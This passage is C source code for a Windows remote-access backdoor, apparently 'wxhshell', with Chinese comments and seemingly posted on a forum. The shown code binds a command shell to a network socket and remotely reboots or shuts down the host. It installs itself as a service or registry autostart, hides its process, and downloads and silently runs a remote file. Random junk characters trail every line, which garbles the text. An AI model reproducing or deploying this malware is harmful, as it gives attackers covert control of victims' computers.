  } x=I|O;"><  
  else { 5 (cgHr"  
5>x?2rp  
    switch(cmd[0]) { ^yFtL(x,  
  lKSd]:3Xm  
  // 帮助 4\Q pS  
  case '?': { 7[I%UP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]EWEW*'j  
    break; U(6=;+q  
  } I xk+y?  
  // 安装 MszX9wl  
  case 'i': { al1Nmc #  
    if(Install()) hk.vBbhs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;"Phc.  
    else PdD,~N#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;RzbPlkl  
    break; V;IV2HT0J"  
    } ;oM7H*W C  
  // 卸载 @%b&(x^UD  
  case 'r': { TbQ5  
    if(Uninstall()) %~rXJrK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJ_]N+  
    else )|N_Q}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V`& O`  
    break; i"RBk%  
    } g4f:K=5:  
  // 显示 wxhshell 所在路径 o,gH*  
  case 'p': { 8`B]UcL)  
    char svExeFile[MAX_PATH]; *Sw1b7l  
    strcpy(svExeFile,"\n\r"); jU2 vnGw_  
      strcat(svExeFile,ExeFile); kn9e7OO##  
        send(wsh,svExeFile,strlen(svExeFile),0); xgq `l#  
    break; n6C]JWG\/U  
    } _ %gu<Ys  
  // 重启 +i@{h9"6g  
  case 'b': { I-L:;~.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0nsjihw  
    if(Boot(REBOOT)) iOrpr,@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HP(dhsd<c  
    else { [k{2)g  
    closesocket(wsh); b^^ .$Gu  
    ExitThread(0); Q:^.Qs"IK  
    } c]PG5f xf  
    break; TfnBPO  
    } I6vy:5d  
  // 关机 .H#<yPty  
  case 'd': { UAEu.AT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UlQS]f~  
    if(Boot(SHUTDOWN)) tDQuimYu7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9PQKC2&  
    else { ?Rd{`5.D  
    closesocket(wsh); VdOcKP.  
    ExitThread(0); ; S~  
    } r WULv  
    break; U#6<80Ke  
    } [I 6&|Lz>  
  // 获取shell }8eu 9~   
  case 's': { {?RVw`g&f  
    CmdShell(wsh); R5& R ~1N  
    closesocket(wsh); !4mg]~G  
    ExitThread(0); <! Z06  
    break; % 3Tz%>n  
  } -$sVqR>_  
  // 退出 :d=: >_[  
  case 'x': { O48*"Z1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @Yj+u2!  
    CloseIt(wsh); yllEg9L0z  
    break; ><wYk)0E  
    } O6"S=o&  
  // 离开 6%a:^f]  
  case 'q': { *bSxobn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <c.8f;1F  
    closesocket(wsh); gGE&}EoLU  
    WSACleanup(); "ph<V,lg  
    exit(1); SX]uIkw  
    break; 5j~1%~,#  
        } {'a|$u+  
  } {$QkerW3  
  } ~-f"&@){,  
-*[:3%  
  // 提示信息 &>A<{J@VL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i_f\dkol  
} !hjA   
  } Ox%p"xuP,  
(sqI:a  
  return; }l7@:ezZZ7  
} :^rt8>~  
0b(x@>  
// shell模块句柄 X" Upml  
int CmdShell(SOCKET sock) mlix^P  
{ iHKX#*  
STARTUPINFO si; $*+IsP!  
ZeroMemory(&si,sizeof(si)); sc&u NfJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; { RC&Ub>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b_Dd$NC  
PROCESS_INFORMATION ProcessInfo; e+<'=_x {  
char cmdline[]="cmd"; .]YTS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7q(A&  
  return 0; a.2Xl}2o5  
} =/Ph ]f9  
t.Yf8Gy  
// 自身启动模式 (v}4,'dS  
int StartFromService(void) i]15g@  
{ _=_<cg y1u  
typedef struct p(!d,YSE  
{ *f o>  
  DWORD ExitStatus;  7 T  
  DWORD PebBaseAddress; 722:2 {  
  DWORD AffinityMask; n7/>+V+  
  DWORD BasePriority; Hu$y8_Udw  
  ULONG UniqueProcessId; <DZ$"t  
  ULONG InheritedFromUniqueProcessId; +Z e;BKZ3  
}   PROCESS_BASIC_INFORMATION; mtmTlGp6Lc  
M(?0c}z  
PROCNTQSIP NtQueryInformationProcess; 4'5|YGQj  
ha?M[Vyw4Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w:+&i|H>  
d_ 7hh  
  HANDLE             hProcess; IictX"3lh  
  PROCESS_BASIC_INFORMATION pbi; \}71p zw(  
3X%h?DC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E NrcIZ  
  if(NULL == hInst ) return 0; m "96%sB  
Rga *68s|&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y_<-.?jf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G|YNShK4=9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |:]} u|O  
m5v IS  
  if (!NtQueryInformationProcess) return 0; ;;|.qgxc~  
RPdFLC/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :%>)S  
  if(!hProcess) return 0; )4TP{tp  
E[cH/Rm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u|cP&^S  
F :og:[  
  CloseHandle(hProcess); 01~ nC@;  
SuXeUiK.[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ERy=lP~gV  
if(hProcess==NULL) return 0;  <H npI  
r{ KQ3j9O  
HMODULE hMod; IGOEqUw*  
char procName[255]; l5#SOo\  
unsigned long cbNeeded; =!\Y;rk  
p\R&vof*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Df>Q5~g  
qKrxln/T  
  CloseHandle(hProcess); EbG&[v  
h[mJ=LIrg  
if(strstr(procName,"services")) return 1; // 以服务启动 On|b-  
5z&>NI  
  return 0; // 注册表启动 6AdC  
} ^J;rW3#N8  
 C TKeY  
// 主模块 [ eb k u_  
int StartWxhshell(LPSTR lpCmdLine) pI_dV44W  
{ adPd}rt;  
  SOCKET wsl; _F5*\tQ  
BOOL val=TRUE; ( k,?)  
  int port=0; 0xY</S  
  struct sockaddr_in door; pzZ+!d  
9Dbbk/j|  
  if(wscfg.ws_autoins) Install(); }3_ >  
_+X-D9j(l  
port=atoi(lpCmdLine); _u]%K-_  
n,d)Wwe_`y  
if(port<=0) port=wscfg.ws_port; n(`|:h"  
bz}-[W+  
  WSADATA data; "8R &c}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pD('6C;  
!hFhw1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wr5v-_7r,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G\o9mEzQ  
  door.sin_family = AF_INET; J;=T"C&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c8T| o=`k6  
  door.sin_port = htons(port); }[R-)M  
53 -O wjpx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )KEW`BC5T  
closesocket(wsl); +I?k8 ',pi  
return 1; 4,>9N9.?9  
} 9w~SzpJ%  
F0~<p[9Nx  
  if(listen(wsl,2) == INVALID_SOCKET) { +~~2OUL  
closesocket(wsl); \VA*3U^@  
return 1; S+#|j  
} fY6~Z BvK  
  Wxhshell(wsl); 0?}n(f!S  
  WSACleanup(); &36SX<vZ  
Z/dhp0k  
return 0; 4Us_Z{.  
uuxVVgWp{  
} s_a jA  
\EsT1aT  
// 以NT服务方式启动 tt#dO@G#Fe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6oKdw|(Q#  
{ s<rV1D  
DWORD   status = 0; Svb>s|D  
  DWORD   specificError = 0xfffffff; tJ 2GSZ`  
.`Q^8|$-K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tbWf m5$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wJNm}Wf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !-.GfI:q  
  serviceStatus.dwWin32ExitCode     = 0; OQ- Hn -H  
  serviceStatus.dwServiceSpecificExitCode = 0; hf^<lJh~=  
  serviceStatus.dwCheckPoint       = 0; :m(DRD  
  serviceStatus.dwWaitHint       = 0; V$sY3,J7A%  
ZPyzx\6\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r fzNw  
  if (hServiceStatusHandle==0) return; Zazff@O *  
^5.XQ 0n  
status = GetLastError(); *yaS^k\  
  if (status!=NO_ERROR) :W5W @8Y  
{ _CfJKp)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dFF=-_O>  
    serviceStatus.dwCheckPoint       = 0; eZaSV>27  
    serviceStatus.dwWaitHint       = 0; tc<uS%XT4^  
    serviceStatus.dwWin32ExitCode     = status; T N1pg  
    serviceStatus.dwServiceSpecificExitCode = specificError; N0.|Mb"?t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E5$]0#jB  
    return; ?3p7MjvZ  
  } ;AE-=/<  
4(|yl^w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nYFrp)DLK  
  serviceStatus.dwCheckPoint       = 0; wD=]U@t`,  
  serviceStatus.dwWaitHint       = 0; YZj*F-}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NC#F:M;b  
} s2#Ia>5!  
i'7+ ?YL  
// 处理NT服务事件,比如:启动、停止 D:;idUO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LP=j/qf|  
{ Ps74SoD-  
switch(fdwControl) BBRL _6  
{ Jjm#ofv  
case SERVICE_CONTROL_STOP: }!AS?  
  serviceStatus.dwWin32ExitCode = 0; 5,pNqXRp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l6y}>]  
  serviceStatus.dwCheckPoint   = 0; W3:Fw6v  
  serviceStatus.dwWaitHint     = 0; nuXL{tg6  
  { sVK?sBs]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8.[F3Tk=  
  } qyv=ot0"~F  
  return; dF\#:[B  
case SERVICE_CONTROL_PAUSE: 2S{P(B   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K5jt(7i  
  break; PDuc;RG  
case SERVICE_CONTROL_CONTINUE: @kqxN\DE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  @Fb1D"!  
  break; +yp:douERi  
case SERVICE_CONTROL_INTERROGATE: Z*i p=FYR  
  break; P"8Ix  
}; \3$!)z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u3C_Xz  
} p 1'l D  
l!F$V;R  
// 标准应用程序主函数 BVw2skOT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZzHlZ  
{ n7cy[%yT  
 ch8a  
// 获取操作系统版本 n4/Wd?#`  
OsIsNt=GetOsVer(); `8ac;b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~w+I2oS$  
G aV&y  
  // 从命令行安装 <qwf"Ey  
  if(strpbrk(lpCmdLine,"iI")) Install(); N2v/<  
wSN9`"  
  // 下载执行文件 m$fEk,d  
if(wscfg.ws_downexe) { q(6.VU@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5 wrRtzf  
  WinExec(wscfg.ws_filenam,SW_HIDE); x#J9GP.  
} OT%E|) 6'  
94rSB}b.O  
if(!OsIsNt) { H OR8Jwf:  
// 如果时win9x,隐藏进程并且设置为注册表启动 9{*{Ba  
HideProc(); P.'.KZJ:WD  
StartWxhshell(lpCmdLine); @up,5`  
} %.Ma_4o Z  
else -B *W^-;*  
  if(StartFromService()) C9!t&<\ }  
  // 以服务方式启动 > S>*JP  
  StartServiceCtrlDispatcher(DispatchTable); q 84*5-  
else Aqmpo3P[+  
  // 普通方式启动 h Ma;\k  
  StartWxhshell(lpCmdLine);  Y~WdN<g  
:&IHdf0+  
return 0; jYHnJ}<  
}
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只看该作者 1 发表于: 2006-10-10
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